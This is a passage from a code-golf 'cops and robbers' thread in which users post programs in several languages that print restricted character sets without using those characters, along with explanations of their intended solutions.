online!](https://tio.run/##pVPfb9owEH73X3EaQrZLxjDpj8HUh9LysKdJ7d7SqMsPA54aG9luC6r2tzM7IYNQGk2qFDn@7nz33X0@L9d2oeRws@nAHbcGnhMtkvSRQwpWAX7BqAPRYKa0MwgZZQtNGBvROEZXcAk4XVtuSLT9xTQaxEEFBnS7SVJDI/bPXsHzGpYrjUYNdxOxFt9FA32tUaOSKklYwwVfOTh6rwBC90IZPdyM6N45ts93ANwyHI/PYoycgt@LpdIWsDIYCpU/PXJnnGlVgDIgKueLFpajyRtVD/Q7KthOT7te8tLm6C/aRD1vwGGbyGFrcm/cO/M/93v2hqztdHg8tuI9bQo94XMhpZBzULNKUZg9ycwKJZ23NBAW@ClG16XSHyBuHRjH4lX6yAyWDU1lfrQVStHNblQaw1gBF6258Uf4imeka@i93O0wdIFcBTChyL/tlXvbgOFT9x6f9D73v3y7fPiVpHxR2Of16x88RjD1mQLc/62EJFtWl8nnycGnyH0KYzVROicr6uoDz9@rC9jOdNcE5VffWl3LdQDTAG6o7/n2x08WQpHMRVb30MlU7m51XLp8SM9n73Pp7JxgrSwLMUVLLaT1ns3mLw)*. The main idea is to use `#coding:ENCODING` to define an encoding for the source code. The intended solution was to use `#coding:ROT13`, but there could be another encoding which I have not yet explored. After placing this magic comment on the first line of our program, every letter will be translated with `rot13`. This means that `print -> cevag`, etc. Next we need to determine which builtins (when encoded with `rot13`) are actually available to use. It turns out that we are limited to just a few: ``` cmp, set, bytes, abs, hash, hex, type, map, max, exec ``` Also note that the output should not contain a newline, meaning we must use `os.write` as opposed to `print`. But since we don't have access to `import`, it seems impossible to call `os.write`... On the other hand, we do have access to `exec`, which allows us to evaluate a string! The only problem now is that we can't use quotes. It is possible however, without needing them. As a start, let's figure out how to `exec` the letter `i`. We can't use quotes, but `bytes` turns out to be very useful here. For example, `bytes(abs)` evaluates to `'<built-in function abs>'`, which coincidentally contains an `i`. Thus, `exec(bytes(abs)[3])` will do exactly what we want. This strategy of creating letters is abused throughout the entire source code. It should look something like `exec(bytes(abs)[10]+bytes(bytes(9))+...)`. One last thing. `+` is not allowed either, though this is manageable. We can use the following construct as an alternative to joining characters: `bytes([a, b, c, d, e])[2::5]`. [Answer] # [C (gcc)](https://gcc.gnu.org/), score 4 ([Cracked](https://codegolf.stackexchange.com/a/207634/9481)) ``` #_ep ``` My source code doesn't contain any of these characters and when complied and run, it outputs `#_ep` to `stdout`. [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal) \$\le\$ [2.10.3](https://github.com/Vyxal/Vyxal/releases/tag/v2.10.3), score 252, safe ``` λƛ¬∧⟑∨⟇÷׫ »°•ß†€½∆ø↔¢⌐æʀʁɾɽÞƈ∞¨ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOQRSTUVWXYZ[\]`^_abcdefghijlmnpqrstuvwxyz{|}~↑↓∴∵›‹∷¤ð→←βτȧḃċḋėḟġḣḭŀṁṅȯṗṙṡṫẇẋẏż√⟨⟩‛₀₁₂₃₄₅₆₇₈¶⁋§ε¡∑¦≈µȦḂĊḊḞĠḢİĿṀṄȮṖṘṠṪẆẊẎŻ₌₍⁰¹²∇⌈⌊¯±₴…□↳↲⋏⋎꘍ꜝ℅≤≥≠⁼ƒɖ∪∩⊍£¥⇧⇩ǍǎǏǐǑǒǓǔ⁽‡≬⁺↵⅛¼¾Π„‟ ``` (Or, in other words, everything except `koPĖ` is disallowed) If you're wondering where to start, some of the ideas from [here](https://codegolf.stackexchange.com/a/236209/100664) may be applicable. However, Vyxal has changed a lot since that competition. Good luck! Btw, my intended solution is 37 yottabytes. # Solution note: Due to bug fixes, some of the links here won't work anymore This character set is quite powerful. We have these builtins: * `ko` - octal digits as a string, `01234567` * `kP` - printable ASCII * `o` - remove string a from string b * `P` - strip string a from the outsides of string b. Has *interesting* (and very helpful for us) behaviour on lists/ints * `Ė` - Evaluate string as Vyxal / take reciprocal In older versions of Vyxal, regular python floats were used, making it [a lot easier](https://codegolf.stackexchange.com/a/236209/100664). Now, we have sympy floats. The significance of this is that 1/1234567 used to be represented as `8.100005913004317e-07`, allowing us to easily get the characters e and -. Now, it's represented as `1/1234567`. In older versions of Vyxal, a leading zero on a number did nothing. Now, it pushes a zero before said number. This is a problem, as our only real way of getting numbers is with 1234567, and since the zero is before the number using `o` or `P` will just leave a zero. `koĖ` [pushes a zero](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwia2/EliIsIiIsIiJd) as well, but appending a `P` (strip) [results in a zero](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwia2/EllAiLCIiLCIiXQ==), which we can then [remove](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwia29rb8SWUFDEliIsIiIsIiJd) from the string `01234567` leaving 1234567, which we can eval. ### Getting strings Following this, we can [get](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwia29rb8SWUFDElsSWa29QIiwiIiwiIl0=) the `/` character by taking the reciprocal (resulting something that stringified gives `1/1234567`) and stripping `01234567`. We can evaluate this to: * Divide two numbers (because we have reciprocal, also multiply) * Split a string into n parts * Split a string by another string Because of this, we can get [1](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwia29rb8SWUFDElmtva2/EllBQxJZrb2tvxJZQUMSWxJZrb1DEliIsIiIsIiJd) by dividing 1234567 by itself. We can get the range from 2 to 7 by [removing 1](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwia29rb8SWUFDElmtva2/EllBQxJZrb2tvxJZQUMSWa29rb8SWUFDElsSWa29QxJZvIiwiIiwiIl0=) although this seems useless for now. We can also [get 1-7](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwia29rb8SWUFDElmtva2/EllBQxJZrb2tvxJZQUMSWa29rb8SWUFDElmtva2/EllBQxJbElmtvUMSWb28iLCIiLCIiXQ==). Taking a step back, we can stringify 1/1234567 by [stripping `/`](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwia29rb8SWUFDElsSWa29rb8SWUFDElsSWa29QUCIsIiIsIiJd). We can [get `1/`](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwia29rb8SWUFDElsSWa29rb8SWUFDElsSWa29QUGtva2/EllBQxJZvIiwiIiwiIl0=) with this although it doesn't seem to help much right now. ### List trickery For reasons that I don't quite understand, we can get 7654321 with something like [this](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwia29rb8SWb1DEliIsIiIsIiJd). In general, we can reverse a string/number by [calling `P`](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwiYDEvMTIzNDU2N2Awd1AiLCIiLCIiXQ==) with it and `[0]`. This will prove *very* helpful. Taking a step back to numbers, we can get `234567` with [what we already have](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwia29rb8SWUFDElsSWa29rb8SWUFDElsSWa29QUGtva2/EllBQxJZrb2tvxJZQUMSWa29rb8SWUFDElsSWa29QxJZva29rb8SWUFDElsSWa29Qb8SWIiwiIiwiIl0=). For some reason, stripping a string from certain types of lists seems to return (wrapped) the first item of said list. But how do we get that item? I'm not sure yet, but using some [very confusing stuff](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwia29rb8SWUFDElmtva2/EllBQxJZrb2tvxJZQUMSWa29rb8SWUFDElsSWa29QxJZva29rb8SWUFDElmtva2/EllBQxJbElmtvUMSWa29rb8SWUFDElsSWa29QUMSWa29rb8SWUFDElmtva2/EllBQxJbElmtvUMSWxJYiLCIiLCIiXQ==) lets us get the singleton list containing 2. Removing that from [2..7] yields [7...3](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwia29rb8SWUFDElmtva2/EllBQxJZrb2tvxJZQUMSWa29rb8SWUFDElsSWa29QxJZva29rb8SWUFDElmtva2/EllBQxJZrb2tvxJZQUMSWa29rb8SWUFDElsSWa29QxJZva29rb8SWUFDElmtva2/EllBQxJbElmtvUMSWa29rb8SWUFDElsSWa29QUMSWa29rb8SWUFDElmtva2/EllBQxJbElmtvUMSWxJZQIiwiIiwiIl0=). We can repeat these techniques to get every element of [2...7] in a singleton list. Since we can simulate multiplication with use of division and reciprocals, we can finally get the elusive [8](https://link.rf.gd/auyaj) and [9](https://link.rf.gd/511rd)! ### Printable ASCII By removing both of these + the octal digits from printable ASCII, we can get [something usable?](https://link.rf.gd/5akzz) Vyxal's split into pieces builtin doesn't actually give you the right amount of strings. Instead, it tries to make the strings all equal in length. We can [split](https://link.rf.gd/v7g09) this into 64 pieces, but our trick to get the first character doesn't work since it's wrapped in a list... And anyway, executing a list produces a horrific mess... However, there's another way we can get numbers! By removing select digits (in lists) from `01234567` we can get quite a few numbers, including all the digits as individual numbers. We can construct [56](https://link.rf.gd/6ajze) with this method. Using this method, we can split the string into 56 pieces instead of 64, cutting this down into a much more manageable result, with [a single unnested list](https://link.rf.gd/qajng). This can be [represented](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwiNTZrUGtkby8iLCIiLCIiXQ==) with a much shorter piece of code. So, we can get the first item of a list of strings as a singleton list, and we can strip a singleton list from a string to yield a string, and we can split a string into a list. ### Letters By [stripping `/` to get the first item](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwiNTZrUGtkby9cXC9QIiwiIiwiIl0=), we can get `["a"]`. Then we can get [`["b"]`](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwiNjdrUGtkby82N2tQa2RvL1xcL1BQIiwiIiwiIl0=). We can remove `a` from the [string form of printable ascii](https://vyxal.pythonanywhere.com/#WyJXVCIsIiIsImtQa2RvNjdrUGtkby9cXC9QUCIsIiIsIiJd) (and reverse it as a side effect, but that's easily fixable). We can then [remove `b`](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwia1BrZG82N2tQa2RvL1xcL1BQNjdrUGtkby82N2tQa2RvL1xcL1BQUCIsIiIsIiJd). You can probably see where this is going, can't you. With this method, we can [get `c` in a list](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwiNTZrUGtkbzY3a1BrZG8vXFwvUFA2N2tQa2RvLzY3a1BrZG8vXFwvUFBQL1xcL1AiLCIiLCIiXQ==), remove abc, get d, remove abcd, etc. The cost for this method grows exponentiially, but it works. Then, we can get the string with n characters removed, and remove it from the string with (n-1) characters removed, leaving just the character itself. *Finally*, we can evaluate this and execute arbitrary ASCII characters. ### Scoring individual letters Whew, that was a lot of work. Now let's put it all together. The overhead for splitting a string into a character list is 941 (56) + 14 (division) = 955 bytes. The overhead for getting the first character of a string as a singleton list is 955 + 3 = 958 bytes (referred to as `head`) The overhead for removing a character and then de-reversing the string is only six bytes - `PkoĖoP`. (referred to as `strip`) The overhead each time we push printable ascii - digits is 2052 bytes (referred to as `ascii`). The overhead for pushing this as a character list is 3007 bytes. Then, we can generate each character of ascii in sequence by removing all the previous ones and `head`ing. For example, to get `b` we remove `a` from `ascii` and `head`. * `a` as a singleton list costs 1 ascii + 1 head = 3010 bytes. * `b` as a singleton list costs 2 ascii + 2 head + 1 strip = 6026 bytes. * `c` as a singleton list costs 4 ascii + 4 head + 3 strip = 12058 bytes. Can you see the pattern? The formula is \$2^n\text{ascii} + 2^n\text{head} + (2^n - 1)\text{strip} = 3016 \* 2^n - 6\$ for a 0-indexed n representing the position. ### Putting it all together To get say `a` as a single character, we need the overhead for getting `b` as a singleton list, minus one head , and the overhead for getting `a` as a singleton list, minus one head. We also need a single `o`. With this, we can take the string `bcdef...` used to get `b` before it is `head`ed, do the same with the string `abcdef...`, and remove the former from the latter leaving only `a`. So, we need 3 ascii, 1 head, 1 strip and a single `o` = 7121 bytes to get the single character `a`. [Simpler version](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwiI2tQa2RvIDU2L1xcL1AgUGtvxJZvUFxua1BrZG9cbmtQa2RvXG5rUGtkbyA1Ni9cXC9QIFBrb8SWb1AgbyIsIiIsIiJd). For `b`, we need 6 ascii + 4 head + 4 strip + `o` = 16169 bytes. [Simpler version](https://vyxal.pythonanywhere.com/#WyJXIiwiIiwiI2tQa2RvIDU2L1xcL1AgUGtvxJZvUFxua1BrZG9cbmtQa2RvIDU2L1xcL1AgUGtvxJZvUFxuXG5rUGtkb1xua1BrZG8gNTYvXFwvUCBQa2/Elm9QXG5rUGtkb1xua1BrZG8gNTYvXFwvUCBQa2/Elm9QXG41Ni9cXC9QXG5Qa2/Elm9QXG5vIiwiIiwiIl0=). The formula *here* is \$(2^n + 2^{n+1})\text{ascii} + (2^n + 2^{n+1} - 2)\text{head} + (2^n + 2^{n+1} - 2)\text{strip} = 3016(2^n + 2^{n+1}) - 1927\$. What we're interested in are the characters `C` and `+`. I've made a [calculator](https://vyxal.pythonanywhere.com/#WyIiLCIiLCJrUGtkbyDhuJ8gOuKAulwiReKIkSAzMDE2ICogMTkyNyAtIiwiIiwiQyJd) for the overhead of a single printable ASCII character, and for `C` it spits out `2428804003961`. For `+` it gives `41726535094731005753465`. Of course, we must increment these due to the need to evaluate them. Because I'm lazy, to create a certain character we're going to go `1 1+ 1+ 1+ ...C`. This has a total cost of \$41726535094731005753495 \* (\text{ord}(c) - 1) + 2428804003991 \$. [calculator](https://vyxal.pythonanywhere.com/#WyIiLCIiLCJDIOKAuSA0MTcyNjUzNTA5NDczMTAwNTc1MzQ5NCAqIDI0Mjg4MDQwMDM5OTAgKyIsIiIsIuKIkSJd). Finally, we need to get this over *all* characters in the Vyxal codepage except the four we're using. We need 251 more `+` to concatenate it all together, and we're done! The final size of the program is 37,775,866,751,962,486,187,362,186,532 bytes, or 37 yottabytes. [Answer] # [International Phonetic Esoteric Language](https://esolangs.org/wiki/International_Phonetic_Esoteric_Language), Score: 47, [Cracked](https://codegolf.stackexchange.com/questions/207560/print-x-without-x-robbers-thread/207573#207573) Let's throw my own language into the ring. ``` !"#$%&'()*+,-.ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_` ``` My solution: > > `{32}{15}0ɑbesχue1søɒ{65}{32}0ɑbesχue1søɒ` > > > [Answer] # Javascript, score: 83, [cracked?](https://codegolf.stackexchange.com/a/207665) (the crack is not executable like `/path/to/interpreter file.js`, unlike my solution, but I don't think that matters a lot) I only know one Javascript implementation where my intended solution works. ``` !"#$%&'()*,-./0123456789:;=ABCDEFGHIJKLMNOPQRSTUVWXYZ\^_`abcdefghijklmnopqrstuvwxyz ``` In this implementation, only five distinct characters are sufficient to represent any Javascript code. I removed some more characters to (try to) avoid giving away the answer. The solution should be a full program, executable like this: ``` $ /path/to/interpreter file.js ``` I solved this by modifying `aemkei/jsfuck` on GitHub, until it was able to encode JSFuck code using the 5 characters `[]+|>`. My solution was produced by encoding `console.log("the string")` in JSFuck (via jscrew.it so that I do not run out of both RAM and HDD space), and then encoding the JSFuck using the modified JSFuck generator. My solution is 46 megabytes of code, its sha256sum is `d0c72f380b1623f9bff06fbed03b1ecd9c7fc012c9cc1ac9d758c9a317ad6855`, and it is *very* slow; if anybody is interested I can try to upload it somewhere. [Answer] # [Haskell](https://www.haskell.org/), Score 74, [Cracked](https://codegolf.stackexchange.com/a/208935/56656) ``` !"#$%&()*+/0123456789:?;@BEDAFGHIJKLMNOPQRSTUVWXYZ\^_`bcdefgjkloqsvwxyz ``` I've changed this one up quite a bit from my last Haskell answer. The basics are somewhat similar: * Hard to apply functions due to missing whitespace, `()` and `$`. * No line delimiters so program must be on one line This time I've given you some new characters to play with. Along most the characters from the last version you also get ``` uCh>{}~ ``` The only character's I've taken away are `:`, which was already disallowed in the hard version, and tab, which neither me or the cracker used in the first place. So how is this harder than those versions? Well this time the output is not possible in whole or in part with `print`, you will need to use `putChar`. Which you will find much less coöperative. # Intended solution, 829 bytes ``` main|[ih,a,i,n,p,u,t,h,r,mm,ma,mi,mn,mp,mu,mt,mC,mh,mr,am,aa,ai,an,ap,au,at,aC,ah,ar,im,ia,ii,ip,iu,it,iC,m,ir,nm,na,ni,nn,np,nu,nt,nC]<-['-',','..],[m,a,mat,i,n,p,u,t,h,r,mm,ma,mi,mn,mp,mu,mt,mC,mh,mr,am,aa,ai,an,ap,au,at,aC,ah,ar,im,ia,ii,ip,iu,it,iC,ih,ir,nm,na,ni,nn,np,nu,nt,nC,nh,nr,pm,pa,pi,pn,pp,pu,pt,pC,ph,pr,um,ua,ui,un,up,uu,ut,uC,uh,ur,tm,ta,ti,tn,tp,tu,tt,tC,th,tr,hm,ha,hi,hn,hp,hu,ht,hC,hh,hr,rm,ra,ri,rn,rp,ru,rt,rC,rh,rr,mmm,mma,mmi,mmn,mmp,mmu,mmt,mmC,mmh,mmr,mam,maa,mai,man,map,mau]<-map{--}putChar[m..'{']=m>>a>>an>>ap>>au>>at>>aC>>ah>>ar>>ia>>ii>>ip>>iu>>ir>>nm>>na>>ni>>nn>>np>>nu>>nt>>nC>>nh>>nr>>pm>>pu>>pa>>pt>>ph>>ua>>um>>pC>>ui>>un>>up>>uu>>ut>>uC>>uh>>ur>>tm>>ta>>ti>>tn>>tp>>tu>>tt>>tC>>th>>tr>>hm>>ha>>hi>>hp>>ht>>hC>>hh>>rm>>ra>>ri>>rn>>rp>>ru>>rh>>rr>>mmm>>mmn>>mmu>>mmC>>mam>>maa>>mai>>man>>map ``` [Try it online!](https://tio.run/##tZBBbiNRCESP403ZJ0i8@cewvGAxEigBIQZWyZzdKQ6Q5agb1KJe0f@Xyt@PP5@fr5eLxffDFAJDIDFoKArucIEbPOAJH3jDD1zhBXGIQAwSkIQMpCEHwkUFcxj3GSxhA2sYjbBCOEIQ/FUgEjGIRpzn2/VxuV7A53Z74sHt/Hv/7yPx2r@fCaGIQjpSkIbkURI5yEYepCIL4xjBGCYwPOlgGnMwiim0owVt6EAnmhdp9EEruqAOFahBA5rQgfKeB6rQQjlKUIYKVKIG1aiDYhIbBbPYMDaNjWPz2EA2kY1kM2EoLpvZhkmOwTiTcRnmza@v6/VfTh@Vevjtdvm6PN/9fhe@wUrWsJp1WMqq@92om7GoG3XjLGgLzoPzoDeoBbWgN@gNeoNckkvOk2xSS86H37NzckP/0D/0D7khMztfjv4m1@SbXJNrck2uyTW5JtfklJySU3JKRqkrdaVe1IpaUSvuKOrFHbUavYx2W2ybbfQxxm2yzbatKvl6/QA "Haskell – Try It Online") My intended solution uses the fact that `{--}`, that is opening and closing a comment, separates tokens, so it can be used as a substitute for space. Although it seems unlikely anyone might ever realize this fact, it seems near impossible to construct a cop that *requires* this fact, so after two failed cops I am giving up that attempt. Good job to both the robbers here. [Answer] # [Wolfram Language (Mathematica)](https://www.wolfram.com/wolframscript/), score: 71 (safe) ``` AbCdEfGhIjKlMnOpQrStUvWxYz ⁢{@[0 & ], \" <-> (.|), +*/, 123456789[]} ``` There are 4 characters preceding the `{` on the second line: invisible times (`U+2062`) followed by 3 private use characters (`U+F39E`, `U+F765`, `U+F76D`), in ascending order. --- ### My solution The exclusions of `[]`, `@`, `/`, and `\[InvisibleApply]` mean that, apart from special forms, only the infix `~ ~` can be used to apply functions. In order to allow application of functions with a number of arguments other than 2, we need a way to generate `Sequence`s. Defining one of Mathematica’s built-in undefined bracketing operators allows us to do this: ``` 〈$___〉:=$ ``` Now, `〈〉` is a `Sequence[]`. As commas (and `\[InvisibleComma]`) are not permitted, we also define ``` $_·$$\_\_\_=〈〉~$~$$ ``` which allows us to apply an arbitrary head to an arbitrarily long list of arguments, without commas. Now, to generate heads to apply. Note that `Names` is permitted. `Names·__` generates a list of names we can index into, and we can generate positive numbers with sufficient abuse of `π`/`Pi`, `√` (`Sqrt`), `⌊ ⌋` (`Floor`), `⌈ ⌉` (`Ceiling`), `^` (`Power`), and juxtaposition, using `〈 〉` as parentheses, for multiplication. There’s one last thing: values returned from `Names` are `String`s, not `Symbol`s. Applying `Symbol` to a string returns a symbol with that name, though, and every symbol has the head `Symbol`. We can extract it by taking its 0th part. While the operations we used earlier can’t generate 0, `'` (`Derivative`) can (As an aside, my version of Mathematica evaluates `N'` to `1&`, but TIO’s evaluates the same expression to `0&`). For the sake of convenience, again: ``` ±$_:=〈Names·__〉〚$〛;∓$_:=N〚N''·〈〉〛·±$ ``` (We actually didn’t need `·`: we can build arbitrarily long expressions with `#1~〈〉〚N''〛~#2~〈〉〚N''〛~...~*head*~#k`, but `·` is much nicer to look at) and we can put the parts together to make: ``` 〈$___〉:=$;$_·$$\_\_\_=〈〉~$~$$;±$_:=〈Names·__〉〚$〛;∓$_:=N〚N''·〈〉〛·±$;$=〈∓〈⌊〈√〈⌊π⌋^π〉〉〈〈〈π〉π〉^⌊π⌋〉⌋〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌈〈π〉〈π^〈π〉〉⌉〉〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌊〈π〉⌈π^π⌉⌋〉〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌈〈π〉〈⌊π⌋^π〉⌉〉〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌊π⌋⌈π^π⌉〉〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌈〈π〉⌈π^π⌉⌉〉〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌊〈π〉⌈π^π⌉⌋〉〉〉;∓〈〈⌈⌈π⌉^π⌉〉〈⌈〈√π〉〈π^〈π〉〉⌉〉〉·$·〈∓〈⌊〈⌈π⌉^π〉〈⌊〈√π〉〈⌊π^〈π〉⌋〉⌋〉⌋〉·∓〈⌊〈⌈π^π⌉^〈√π〉〉〈⌈π⌉〈√⌊π⌋〉〉⌋〉·∓〈⌊〈⌊〈π〉〈⌊π⌋^π〉⌋〉^√⌊π⌋⌋〉〉;∓〈⌈〈π^⌊π⌋〉〈⌈〈π〉〈⌈π⌉^⌊π⌋〉⌉〉⌉〉·$·〈∓〈⌊〈√〈⌊π⌋^π〉〉〈〈〈π〉π〉^⌊π⌋〉⌋〉·〈∓〈⌈〈√〈〈π〉⌈π⌉〉〉^〈⌊π⌋^√⌊π⌋〉⌉〉·〈∓〈⌈〈⌈π⌉^〈√π〉〉〈〈⌊π^〈π〉⌋〉^√⌊π⌋〉⌉〉·〈〈∓〈⌈⌈π⌉〈〈〈π〉π〉^√⌊π⌋〉⌉〉·〈〉〉〚;;;;〈√⌈π⌉〉〛〉〉·〈∓〈⌈⌈π⌉〈〈〈π〉π〉^√⌊π⌋〉⌉〉·〈〉〉〚〈√⌈π⌉〉;;;;〈√⌈π⌉〉〛〉〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌈〈π〉π⌉〉〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌊〈〈π〉〈〈π〉⌊π⌋〉〉〈⌈〈π^⌊π⌋〉〈⌊〈π〉π⌋〉⌉〉⌋〉〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌊〈π〉π〈⌈〈√⌈π⌉〉〈⌈π⌈π⌉⌉^π〉⌉〉⌋〉〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈〈〈⌊〈π〉π⌋〉〈⌊π^⌊π⌋⌋〉〉〈⌈〈√⌊π⌋〉^〈〈π〉π〉⌉〉〉〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌊π^⌈π⌉⌋⌊〈π^⌈π⌉〉〈⌊π⌋^√⌊π⌋〉⌋〉〉·〈∓〈⌊〈√〈⌈π^⌊π⌋⌉〉〉〈⌈〈π^〈π〉〉^〈√π〉⌉〉⌋〉·〈〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌈π⌉^⌊π⌋〉〉·〈N''〉〉·〈∓〈⌊〈⌊π⌋〈√π〉〉^〈⌊π⌋〈√⌊π⌋〉〉⌋〉·〈∓〈⌊〈√〈⌊π⌋^π〉〉〈〈〈π〉π〉^⌊π⌋〉⌋〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌈〈π〉〈⌊〈π〉〈〈π〉⌊π⌋〉⌋〉⌉〉〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌈√〈〈〈π〉⌊π⌋〉^π〉⌉〉〉〉·〈∓〈⌊〈√〈⌊π⌋^π〉〉〈〈〈π〉π〉^⌊π⌋〉⌋〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌈π⌉〈⌈〈π〉π⌉〉〉〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌊⌈π⌉〈⌈π⌉^〈√π〉〉⌋〉〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌈π⌉〈⌊π^⌊π⌋⌋〉〉〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌈〈π〉⌈π⌈π⌉⌉⌉〉〉〉〉·〈∓〈⌊〈√〈⌊π⌋^π〉〉〈〈〈π〉π〉^⌊π⌋〉⌋〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌊〈√⌈π⌉〉^〈〈π〉〈√⌊π⌋〉〉⌋〉〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌈〈π^⌊π⌋〉〈√〈√π〉〉⌉〉〉·〈∓〈⌈〈√√⌊π⌋〉〈〈√π〉^⌈π⌈π⌉⌉〉⌉〉·〈⌊〈√π〉〈⌊π⌋^⌊π⌋〉⌋〉〉〉·〈〈∓〈⌊〈√〈⌊π⌋^π〉〉〈〈〈π〉π〉^⌊π⌋〉⌋〉·〈〈∓〈⌊〈√〈⌈π⌉^π〉〉〈〈⌊π⌋^π〉^√⌊π⌋〉⌋〉·∓〈〈⌈π^⌈π⌉⌉〉〈⌊〈⌈〈π〉π⌉〉^〈√π〉⌋〉〉〉·〈∓〈⌈〈〈π〉〈√⌊π⌋〉〉〈〈⌊π⌋^π〉〈⌊π⌋^⌊π⌋〉〉⌉〉·〈⌊〈π〉π⌋〉〉〉〉·〈〉〉〉 ``` [Try it online!](https://tio.run/##1VdLbsMgEL0MUu5QK1fIEbCsKlK7yKpZR1lik1126QnMrivvfYHewTmIy8fADAZXVY2aRojYMLxhhpk3@FAdX/aH6vj6XI3jcGlJWZbDRTxtSUHKviPqfSvH5diJnAgp@g9SPqmRXXXYv/WdFr@fb@R@fi8GdlWzO/m@22z6ziyUM30n1xVEI7GrHm708808f56HC6eqF7q1pukB3VErpKdVb9AnMDaBKTwg15phi8DUg@5q3YTpp30yq1D/U/8mrPD6OhuvRcrQSYxn0gYtDJ2ezcJpHTAvt21A1Z@cm2yFVWb0GRxgv9/GtxFH0OYbs9bjCZhM6HABHg96CRnimc1RhCOAMputwGMJsGYhyrh2LsThgcOY9QU@Ghy6zG4WCMEzivhsbabxq7yHhFnu1YQeq6No3pyZ76MnuQCLkP3BzUxMAwhD54X8WUudeZLI4/n0G00zLT9TvR5x5GSnBsULeMTplI7/Bu4SBjzPzXCqg3HPMIshEFxMcm2tTXnEZUtALtgAp5aG0erOP1MhpH6aWwNo6NEEdcScCYmNIcPrWES56oKZpg6IbuX0ilC1mZM3xJRNThgSIp3NJKrRP7ljhpUyQgk869WMuToWUU6XM@LxPOtLUIzRM1Ek1Bov4tnu8l5zgvNy37GRoHfzw0dKM6tkNKjOcWbJ59Gw2rNbGEVZ7yXBd4OuPpHSEykQ65xtsqCBGwW8Djs10SLpP0dcVcTm@6@ekCdw8i4l0mKwtBF/JFy7cOfi84yyb@P4BQ "Wolfram Language (Mathematica) – Try It Online") On the current version of Mathematica on TIO, this is equivalent to ``` $= StringJoin[FromCharacterCode[115], FromCharacterCode[116], FromCharacterCode[100], FromCharacterCode[111], FromCharacterCode[117], FromCharacterCode[116]]; (* "stdout" *) WriteString[$, StringJoin[Riffle[ToUpperCase[Alphabet[]〚;;;;2〛], Alphabet[]〚2;;;;2〛]], FromCharacterCode[10], FromCharacterCode[8290], FromCharacterCode[62366], FromCharacterCode[63333], FromCharacterCode[63341], List[FromCharacterCode[64][N''], TwoWayRule[StringJoin[FromCharacterCode[92], FromCharacterCode[34]], StringJoin[FromCharacterCode[40], FromCharacterCode[46], FromCharacterCode[124], FromCharacterCode[41]]], StringJoin[FromCharacterCode[43], FromCharacterCode[42], FromCharacterCode[47]], StringJoin[Map[ToString][Range[9]]][]]] ``` This could also just be put together with `FromCharacterCode` alone. `WriteString` is required here to suppress the trailing newline, and to get special characters to print verbatim instead of as `\[*name*]` (and yes, `$Output` would have been much shorter to generate than `"stdout"`). [Answer] # [R](https://www.r-project.org/), Score 60, [cracked](https://codegolf.stackexchange.com/a/207591/86301) ``` ";<=>?@ABCDEFGHIJKLMNOPQRSVWXYZ[\\]^_`abeghjklmqrsvwxyz{|}~" ``` Note that your output cannot have an initial `[1]` (as would be given by default printing). You cannot use `cat` because of the `a`, and you cannot use `write` because of the `w`. Cracked by Giuseppe. My solution: > > `dput(intToUtf8(c(59:83,86:98,101,103:104,106:109,113:115,118:126)))` > > > [Answer] # [CJam](https://sourceforge.net/projects/cjam/), score 6 